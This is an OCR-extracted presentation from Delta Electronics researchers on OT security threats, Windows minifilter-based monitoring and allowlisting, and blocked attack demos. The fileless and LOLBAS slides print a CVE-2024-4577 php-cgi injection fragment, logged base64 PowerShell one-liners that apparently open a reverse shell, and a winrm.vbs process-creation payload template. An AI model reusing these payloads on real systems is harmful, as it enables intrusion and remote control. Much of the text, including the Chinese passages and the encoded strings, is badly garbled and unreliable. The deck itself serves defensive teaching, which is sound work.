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Johnson Wu LSRR X

Current Job & Affiliation in Delta Electronics

* Senior Threat Researcher of Product Security Service & Solution
Business Division

* His primarily responsibilities are researching attack techniques and
new threats, analyzing threat intelligence and help to improve
product’s security level.

Professional Experiences in the Past

*  With over 8 years of expertise in Windows OS internals & vulnerability
research.

, | * Take the LPT Master Certification and CPENT in the second year at
) RRE Delta.
v !/ “\I\\
Master in mechamcal englneermg
from the NCKU
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Challenge

Attack
Method

Cyber

Incidents

4 Delta
Confidential

Ransomware

Attacks

Exploiting outdated device
software vulnerabilities to
infiltrate OT networks.
Hackers attack OT device
systems, causing
operational disruptions.

Colonial Pipeline Incident
(2021)

Aliquippa Water Treatment
Plant, Pennsylvania, USA
(2023)

Multiple Railway Systems in
Europe (2023)

Hackers infiltrated the
supply chain, compromising
thousands of OT/IT
environments.

Attackers injected malware
via the supply chain,
impacting numerous
companies.

SolarWinds Orion Platform
Attack (2020)

Microsoft Exchange Server
Data Breach (2021)
Log4Shell Vulnerability (2021-
2022)

Vulnerabilities in legacy
industrial protocols, which
often lack robust
authentication and encryption
mechanisms.

A large number of devices run
outdated firmware or
operating systems without
timely security patch updates.

Fuxnet ICS Malware(2024)
FrostyGoop ICS Malware
(2024)

Software Update

Incident

Global Windows systems
crashed, showing blue
screens or entering recovery
mode.

Devices malfunctioned,
severely disrupting business
operations.

CrowdStrike(2024)

L\ NELTA
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» Product Security emphasizes "Secure by Design" and "Secure by Default"

, preventing customers from having

to constantly monitor, perform routine updates, and manage damage control caused by cyber intrusions.

#5 5l ITZZE oTZ: Product Z&
— BEDEHEE AN ERERERRERERELESBERT
HE SHAN - BBLERAE e N T
amag (€0 EMNiaREEEY @ RIFE - TR BITAS  HEXGE FRTIRER ES
SRS mRAERAS 75 4538 222 B
no 4 R - EBIIERE - 8% - (BEREE - Bl - RARNTH - [£EEET ( Secure by Design )
) 7R 1E e Z 852 ( Secure by Default )
BIRE  EEinE 5 B BT 52 R IB B Tk
ERBY  |PEREFRAE Rz AES 2/MEBITEY - WiREEE
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Steven Chen B 5o

Current Job & Affiliation in Delta Electronics

* Principal engineer of Product Security Service & Solution Business
Division

Professional Experiences in the Past

* Develop Windows/Linux driver over 15 years, especially in LAN, USB,
PCle, sensors, and filter drivers.

* Software developing in robotic engineering for 8 years.

* Software developing in IC-design industry for 8 years.

Master in mechanical engineering
from the NCTU

Delta Confidential A bELTA



Windows Kernel/&Minifilter$s fitg 18 st

A AELTA



Windows Driver - Development Model

@ Device Driver
« WDM (WIn98-Win7)
« WDF (Win7-Winl1l, UMDF/KMDF)
v Miniport driver
for example
(audio miniport driver, audio port driver)
v NDIS
For example: LAN, WIFI, protocol driver
@ File System Filter
* Legacy file system filter model
e Minifilter model (From Win98-Win1l) A et




Minifilter Drivers Are Different from Device Drivers

& Minifilter Drivers

: Intercept and process file I/0O operations, used to monitor, modify, or
enhance file system behavior.
- Attach to the file system stack indirectly through the Filter Manager
(FltMgr.sys).
® Functionality: Register for specific 1/0 operations and provide pre-operation and post-
operation callbacks.

@ Device Drivers
: Manage hardware devices, such as keyboards, mice, printers, and network
adapters.
. Attach directly to the device stack and handle I/O requests for H/\W.

® Functionality: Manage hardware-specific operations (read/write), handling interrupts,
and performing device-specific tasks.

1 Delta A hE LTA
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Minifilter Drivers — Register Callbacks (1)

Application (Callback Routine)
Load Driver

DriverEntry CreateDevice | pispatchloct

FltCreateCommunicationPort
CtrIMessage

v

PsSetCreateProcessNotifyRoutine . PrFitCreateProcessNotify

CmRegisterCallback | OO00OPreXXXXKey

FltRegisterFilter ~ FileFilterPreXXXX
- FileFilterPostXXXX
AISELTA

1 Delta
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Minifilter Drivers — Register Callbacks (2)

Event Callback Routine IRP
Device Control Dispatchloctl IRP_MJ_DEVICE_CONTROL
FIt Message CtrIMessage

Create Process PrFItCreateProcessNotify

Pre Operate Registry  OOO0OPreXXXXKey M Criane WATION

IRP_MJ_WRITE
IRP_MJ_READ
- IRP_MJ_CLEANUP
File 10 Request FileFilterPreXXXX IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONI

FileFilterPostXXXX ZATION A NELTA

1 Delta
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Minifilter Work Flow
ReadFile / WriteFile

IRP
Register Callbacks | It attaches to the file system
o stack for a target volume
Minifilter Attach
Driver Call \ac
Iback Status gltlgciystem
Callbacks File System
Stack
_ File System

Callback routine: : Stack

Can be preoperation callback
Can be postoperation callback
Can be both

1 Delta
5 Confidential
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MinifilterZEEWindows Kernel B4 & #2218

i - Monitor Configuration
Applcations

System Calls A A A User Space

v I v v Kernel Space

!

Data Control
Communication Communication

Section Process Registry

Filter Filter Filter Configuration

<> Send intercepted calls to user space for further processing

L oo Eilter Driver <—> Send command to the kernel filter driver A AELTA

6 Confiden. —> System call path
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{ERAMiniFilter#1/0 RequesthY A 2l 32l

’ User Space

MiniFilter A

FSFilter Activity Monitor
Altitude 365000

MiniFilter B

FSFilter Anti-virus
Altitude 325000

MiniFilter C
FSFilter Replication
Altitude 305000

File System Driver

Processes and forwards the
modified requests

Storage Driver Stack
Prepare requests for H/W

1 Delta
8 Confidential

Kernel Space

It determines the order in
which FltMgr calls
minifilter driver to handle
1/0O

Preoperation callback:
From highest to lowest
(A,B,C)

Postoperation callback

: From lowest to highest
(C,B,A)

A AELTA



ZBn=: FHIEIEZEScript

IRP_MJ_CREATE

MonitorRequesthandler

FileFilterPreCreate

YES, Send message to controller
DATA_CMD_CALL_SCRIP . .
BATASHBCALL IsWhiteList

edScript

Has .bat
extension
name

1 beta Kernel Mode (minidriver) User Mode (controller, service)AMgm

o] Confidential




Z 65 =:Auto Windows Update
Updated

® process is Register a notification callback

monitor request Service created
> NotifyCallback

Send message to user mode service

Action
Reject

Action
Process

Add to
whitelist

User Mode (controller, service) Kernel Mode (minidriver)
2 bota A nerma

0 Confidential
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Overall

MITRBEF)

T

® PE Format Malware — B\ NI REE ~ EE2IE I
® Fileless Attack — A& _HEEZEEBI o] AMFEEHE!?
® LOLBAS - 1R LE{ERE 2

® BYOVD — A ABEE =L EWindowsiZ /iy A&

2 Delta A AELTA
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PH$EPE Format Malware(1/3)

 PE Format:&24Portable Executable » 5% 20E 54 B HINPEMR =
* e.g..exe,.msi

 Non PE Format: & A ZE= =
drinee * Doz HAE H s 4 BET
* e.g..go, .rust, .hta, .py, .php g

2 Delta A AELTA
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fH}EPE Format Malware(2/3)

DEMO : CVE-2025-0411

Fle Edn Capture Option Computer  Help
sHd@ a2 A BBT OF M
o Tue Debug Peixt
000000000 13626] [WIOHT) NewProcess (daa] (7880 - 9848) moerdge.cxe wo "CProgian Files

= CVE-2025-0411 I

™ m2 8 o P mERe

E ]

ana=

o M asms ~ w2 CB % ~a e @u e

2  Delta
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fH$EPE Format Malware(3/3)

3

&

LICVE-2025-0411 fEHA By

16.12649536
u}gv ;|

133 ?3?50305

How we prevent malicious Executable

[3636] [WICt]] Rejert Loadi 5264 C\Windows'\Bxplorer EXE (0C: Users\daavppDatalocal Terap\Berr85¢3-6434-404 8- 8a88- 5 3kabbdc0l ef CVE-2005-0411.72.CVE-2025-0411. 72lcader exe
FIX]IM%?W'W@K%@MM@ - o r-..:rmu.mmuimmxumumzuagbmmmmmuﬂmmm ..............................

earchFrotocolHost.exe =2 "W ndows WysternoZ\searchl [Hostexe” GloballUsGtheb tFipeflssGthePipe 275 F496R3- 10558198 /- 10014 _ Global
[3636] [WlCul] NewProcrss [SYS'IEM] [?48 31200 svchostexe->C\Wmdows\System32‘evchost.a¢e knetsvcs -p-s NetSetopSve

—

CVE-2025-0411 % FF FRE (% ¥EiBMark of the WebZz x| » {47 EH
Wﬁﬁﬁﬁﬁﬂ%%ﬁ?malware 1 (EEE BRI AT DU R AR = A B
H AR THE EFE

Delta

A AELTA

Confidential



PE¥EFileless Attack(1/4)

What is Fileless Attack?
BTG W E TR

What exactly are fileless threats? The term "fileless" suggests that a threat doesn't come in a file,
such as a backdoor that lives only in the memory of a machine. However, there's no one definition

for fileless malware. The term is used broadly, and sometimes to describe malware families that do
rely on files to operate.

—
7

o LUZIER/R A AR AR - R

CIRREEAMBERITHRERR/IER

2 Dela A AELTA
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https://learn.microsoft.com/en-us/defender-endpoint/malware/fileless-threats

PE¥EFileless Attack(2/4)

DEMO: CVE-2024-4577

File Actions Edit View Help

W‘l L W " B ]

Port(s)  Actioas
File Actions Edit View Help
0,443

36 ~/CVE-2024-4577

Al provagatsies foend
bamaleng Modales

Surting Check Teoer
Coesed Panel Ready
Atesagting 1o stun Apiche 1pp.
Sums chings dewced nmning
{mysdl) Ancsgting 0 3% MySQL 5.

5 Delta A AELTA
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PE¥EFileless Attack(3/4)

DEMO: CVE-2024-4577 - HlH#

o A\ nerma

8 Confidential



PE¥ZEFileless Attack(4/4)

CVE-2024-457 7152 K| g A

"OSRIMIE

=0 -d alloy url include=] -d auto prepend file=php://input |

E%EQ-HE-Q E; %H,E% T1Ctr 1] HeyProces 73
-06- 00 WCtrl NewProcess nterpreter without input, st-ln 2F 1pe
2024-06-14 15:00:28 [WICtrl] NewProcess [drc] [2960 - 3768] C: \Wlndows\SYSTEMBZ\cmd exe == cid.exe /c "poverzhell -e JABjAGwAaQBlAGALAAAZADOATABOAGULdwAtAESAY eBqAGUATwBOACALTwESLHNALR 1AG
LrACALT eBOAFMATAL 1ACAARwhgAC e cAB3AGQAKQAVAFALYOBOAGEAT A TACAAT e+ ACAA T A 7ACQACYE AGAAZAR IAHKAdLE IACAAPQAZ ACe ATWEBOAGTAeABOACAAZOBAGHA bwBkAGKAbeBrAF0AQ2 A 6 AEEATwBDAEKASQApACALRYE 1AHQAQ 2B SAH
2024-06-14 15:00:28 [WICtrl] NewProcess Eeject one-liner script powershell -e JABjAGwAaQBlAG4AdAleADOATAROAGUAdvAtAESATeBqAGUATwEBOACAATwESAHMAdAR 1AGOAL eBOAGUAdALnAFHAbyE  AGeAZ0B0AHMAL eBUAE
b AFAAYOBOAGEATAArACAAT b+ ACAAT ed TACQLCYB 1AGAAZAR 1 AHRAJAB 1ACAAP

2024-06-14 15:00:28 [WICtrl] SendLog [drc] cmd.exe /¢ "povershell -e JABjAGwAaQB IAG4AdAAZADOATABOAGUAdwAAESAY eBqAGTAYwBOACAATWESARMAAB IAGOAL eBOAGUAAAnARMALYE j AGAZOB0AHMAL eBUAEMATTABDAG
BOAGZATAATACALT g+ ACAAT e 7ACOLcwB IAGAAZAR | AHEL AR TACLAPOL e AC e AW 0AGUA e ABOACAAZOE nAGHA bwBEAGKA beBnAF0ADe AGAFEATIWEDAELASOA pACAARYE 1 AHQAOeBSAHOAZOB=ACe AT ARz AGUALeBEAG T AYOR j AGedl e pAD el TAB=AH
2024-06-14 15:00:34 [TICtrl] NewProcess [drc] [5080 - 2752] NOTEPAD EZE == “C \W1ndows&system32\NOTEP&D EXZE" C \Program F1les\DRC\Whltellst\log\deny log

AT A A 14 DL AR DS FTWIra 17 W T, oo oo TOWSTIUT T 1000 SEMT o JRNCRIEI. . LT AT Ta L LT cees A @nA ann 09 ainnT 8an an

& PayloadN g, Al\ELTA

2  Delta
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FEH$ELOLBAS Attack(1/3)

LOLBAS ( Living Off The Land Binaries And Scripts ) &M
Christopher Campbell 1 Matt Graeber 7£ 2013 FHY
DerbyCon 3 _EFEH @ FEHVE A H R EAFAEHI & AP
FIRAA AR T 5 = B B Y R i

LOLBAS #sw 15
Living Off The Land Binaries, Scripts and Libraries

I\"‘.I For more info on the project, click on the logo.

jl If you want to coniribute, check out our contribution guide. Qur criteria list sets out what
¥ we define as a LOLBin/Script/Lib. More information on programmatically accesssing this
project can be found on the AP| pace.

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.
You can see the current ATT&CK® mapping of this project on the ATT&CK® Navigator.

If you are looking for UNIX binaries, please visit giiobins.github.io.
If you are looking for drivers, please visit loldrivers.io.

A AELTA
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https://lolbas-project.github.io/

FEH$ELOLBAS Attack(2/3)

DEMO: LOLBAS - winrm

3 Delta A hELTA
identia



FEH$ELOLBAS Attack(3/3)

winrm BVRFRSE 2 A FHEE
”O_//Q\‘j_ N \’%ji\”

2)zo-Us3-2b Toab 1D [WICtr] | NewFrocess [daa] ngbz - doza ] COWTRDOWS Vsvstenazicscript . exe => cscript //nologo "C:Windows\bystendz\wincom.vhs® invoke Create wnicimva/Windz_Process

@{CaommandL ine="powershell -e

JAB AGwAa(QB 1 AGAAd AAg ADOATABDAGU AdwAtAEBATp B AGUATWBOACAAUwBS AN AJAB ] AGDAL g BOAGU Ad Adu AFM AbwB j AGsAZOBOANM AL o BUAEMAUABDAGwAa (B 1 AG4 A AAoACTAMQ AwACA AN Adu ADTAL g AOACTALAA4AD g A0 AL ACKAOwAk AHM Ad ABwAGUATOBLACAAPQA
gACQATwBsAGkAZOBu AHQAL g BHAGUAdABTANQAcg Bl AGEABQAoACkADWBbAG [Ae(OBOAGU AV wBd AFOATAB 1 ANLAJAB T AHMATAAQACAAM AAu ACA AN g ATADUAM wi 1 AHwA JOBTADAAT AT Al c Aa ABp AGwAZ Ao AC g AJABp ACAAP) Ag ACQ AcwBO AN [AZQBh AGOAL gBSAGUAT()BRAC
shJ4B1 AHEADABT AHMAL Adp ADAAL A4 ACQAY g BSAHOAZOBzAC4ATABLAGAAZwBOAG g AKQ AP ACAALOBuAGUAT AdwACkbewA T ACQAZABRAHOAY) Az ADDAT AL AEAAZOB3ACOATwE 1 AG o AZ0B JAHQATAAtAFQA=(QBwAGT ATy BhAGOAZ) Ag AFM eOBz AHOAZQB tACAAVAB | AHg Ad
AhuAEEAIwBDAELASOBF AG4 AT wBvAGQha(BudGcAK) A ABEc AZ0BOAFM Ad ABvAGkAboBnACaATAB 1 AHkAAB 1 AHMAL AbwhCwiA TAALAGKARQATACQACwB] AGAAZAB1 AGEAYwB rACAAPOAsACe 4Bl AHg ATAALAGOATOBOAGEATAAYADAA T g b ACAAT A4 AESAJOBOACOAUWBO
AHIAa0BudGeAldlpaDsATABzAGU AbgBRAGTAYOB jAGsAM g Ap ADDAT AALANM AZQBuAGOAY s BhAGH Aawh g ACsATAA 1 AF AL whp ACTATAA rACAARABwAHCAZA bp ACA AT ABh AHQAa bAp AT SATAA 1 ADAATAA 1 ADsATAB=AGUAbgBkAG [Ae(QBOAGUATAADACAAKABL AHQAZQBAAHT)
ALgBlAGAAYwBwAGQAa)BulGc ARQADAD o AQOBTAENASQBIACkKAL sBHAGU A ABC ANk AJ ABT AHM AR A4k AHMAZOBuAGQAY 2 Bh AGM AawhwACkAOwhlk AHM Ad ABy AGUATOBtACAAVWBw AGk A AR ACg ATABz AGU Abg BkAG T AeQBOAGUAL AAwACwAJABzAGU AbgBkAG [ AeQBOAGUAL &
BMAGUAbzBnAHQhaddpalsAJABzANQAce Bl AGEABQAnAEYAbAB 1AM Aa A0 ACKATQATACQATWEB s Ak AZQBuAHOAL g BDAGwAbwBz AGU AR Adp hh=="

== Payload A& :C:\WINDOWS\system32\cscript.exe => cscript
//nologo "C:\Windows\System32\winrm.vbs" invoke Create
wmicimv2/Win32_Process @{CommandLine="payload”}

3 Delta A hELTd
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fEH{EBYOVD Attack(1/3)

202552 A (EEREARNENESHEEEEE (SEEMP)

£2025821 » BELCEBRE B CrazyHunteriE 2 1 RMEBHEENESH . BRI HEECRADEHIL
RERRER - HEEENBBYOVDF ZRE A - AT I2% 7 AER

CrazyHunterg)l RINERIFIEX, RIE. TS, RERSENE,
aE— AN EHERSERN3RAF

What is BYOVD?

WEEHEBELRSETEHAEFEREEE SAEEMEEE - HERERE
&z e A HRCEZREUS Kernel ${TREPR 2RI H Y > BIANBERAN S80S

785 Rootkit o

Delta A hELTd
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https://www.ithome.com.tw/news/167327

fEHEBYOVD Attack(2/3)

DEMO: CVE-2023-1643

- s
” Settngs
T T preweTrrr TP
Kernel Debugger connection established.
< | o= ** path validation sumssry **
F Response Time (ms) Location
€ Oeferred srv*
o D:\LocalData\Downloads\45
Symbol search path is: 3 \LocalData\Downloads\456
T Executable search path is
3 Windows 10 Xernel Version 16299 WP (8 procs) Free x64
< Product: Wi suite: TerminalServer SingleUserTs
Edition build .and64fre.rs3_release.170928-1534
Kernel base = 500000 PsLoadedModuleList = OxffFfB03" 1006FFF0
Debug session time: Fri Nov 22 16:30:10.806 2024 (UTC + 8:00)
System Uptime: @ days 5:06:02.414
ntiDebugService2+0x6:
11§03 18977cb6 3 ret
a: kd> g
8reak instruction exception - code 80060803 (firs
*  You are seeing this message because you pressed either .
. CTRL+C (if you run console kernel debugger) or, R
' CTRL+BREAK (1f you run GUI kernel debugger), '
*  on your debugger machine’s keyboard. »
8 THIS IS NOT A BUG A SYSTEM CRASH 2
* If you did not intend to break into the debugger, press the "g" key, then *
* press the “Enter” key now. This message imsediately reappear. If it *
* does, press "g” and "Enter” again. .
nt1DbgBreakPointiithStatus
FFF£§893716977¢68 cc int 3
7: kd> g
WATCHDOG: hRim:0000000000000104(P: F
‘
*8USY* | Debuggee s ruaning...
v 2 x Theeads -

3 Delta
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fEH$EBYOVD Attack(3/3)

- — R RERBYOVD Exploitation sk g £
1.EZAER - oDFEMERENFEINARENESZEL

2. BEE B I ¥ fEExploitationdY.exe’s - A BeX FHDriver
FIOCTL Code

-‘gﬁ—..
A | 4
“OE 1B 5" v

Delta A AELTA
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_ B2 (File) 9 2B =< (Command)E&E | 7B ([BehavionEBE

{ED %
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Our Recommendations as Conclusion
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Delta Cybersecurity’s Recommendation to Reduce Cyber Security

Comprehensive Product Security Standards

. IEC 62443, 1SO 21434 ...
Compliance

I:::;:““;:::r‘i’: Voluntary Product Certification
y y TW EV VPC, SEMI E187...
Requests

Bug free Malware free
Software Bill of Material and Application and Networking
Vulnerability Management Allowlisting Protection

SW Security Assessments (Security V&V)

V&V: Verification & validation

3 Dela Build & Conduct a Secure SW development Life Cycle NELTA
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Smarter. Greener. Together.

Johnson Wu(2EE £&)
JOHNSON.WU @deltaww.com
Steven Chen (P& &)

STEVEN.CHEN @deltaww.com
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